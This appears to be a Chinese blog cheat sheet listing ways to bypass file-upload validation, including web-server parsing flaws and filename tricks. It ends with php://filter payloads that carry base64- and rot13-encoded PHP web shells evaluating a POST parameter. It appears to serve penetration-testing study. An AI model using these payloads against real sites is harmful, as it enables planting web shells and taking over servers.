文件上传漏洞总结

发布于 2020-04-24  3852 次阅读


客户端javascript校验

  • 禁用js,抓包等

服务端校验

  • 文件头content-type字段校验

    • image/gif
  • 文件内容头校验

    • .JPEG;.JPE;.JPG,”JPGGraphic File”
    • .gif,”GIF 89A”
    • .zip,”Zip Compressed”
    • .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”
  • 文件名检测

  1. 后缀名白名单校验

    • 配合文件解析漏洞
    • 配合文件包含漏洞
    • 长文件名绕过
    • 截断
    • 构造异常request包
    • 多文件上传
    • 数组绕过
    • CMS、编辑器漏洞
    • 操作系统命名格式
      • test.php:1.jpg
  2. 后缀名黑名单校验

    • 配合.user.ini或.htaccess
    • 大小写、后缀名别名
    • 操作系统命名格式
      • test.asp.
      • test.asp(空格)
      • test.php::$DATA
  3. WAF绕过

    • 垃圾数据
    • 异形request包
    • 修改请求方式
  4. 解析漏洞详解

    • IIS5.x-6.x解析漏洞

      • www.xxx.com/xx.asp/xx.jpg 服务器默认会把.asp,.asa目录下的文件都解析成asp文件。
      • xx.asp;.jpg 服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件
      • 别名 .asa .ver .cdx
    • apache解析漏洞

      • test.php.php123 Apache 解析文件的规则是从右到左开始判断解析
    • nginx解析漏洞

      • 1.jpg/1.php
        1.jpg%00.php
        1.jpg/%20\0.php

        大概就是说nginx看到文件扩展名是.php,便不管该文件是否存在,直接交给php处理,然后php的默认配置下看到右边的文件不存在,便删去最后的文件名,读取前一个,所以将.jpg处理成为php

        下图输入不存在的文件名nginx返回404:

        file

        下图输入不存在的文件名 后缀名为.php,最终php返回notfound:

        file

        漏洞复现
        file

    • IIS7.5解析漏洞

      • 类似nginx都是由于php配置文件中,开启了cgi.fix_pathinfo
  • 文件内容检测
  1. 文件完整性检测

    • 图片马绕过
  2. 文件内容检测

    • 检测php标签

      -   php段标签绕过
      -   脚本风格php标签绕过
      -   php伪协议
    • 绕过<?php exit(); ?>

      -   filter伪协议base64解码过滤器filename=php://filter/write=convert.base64-decode/resource=file.php&txt=aPD9waHAgZXZhbCgkX1BPU1RbJ2NsNHknXSk7Pz4=
      -   filter伪协议肉体3解码过滤器filename=php://filter/write=string.rot13/resource=file.php&txt=<?cuc @riny($_cbfg['py4l']); ?>
      -   xml解析+base64解码filename=php://filter/write=string.strip_tags|convert.base64-decode/resource=file.php&txt=PD9waHAgZXZhbCgkX1BPU1RbJ2NsNHknXSk7Pz4=

既然热爱,就坚持下去。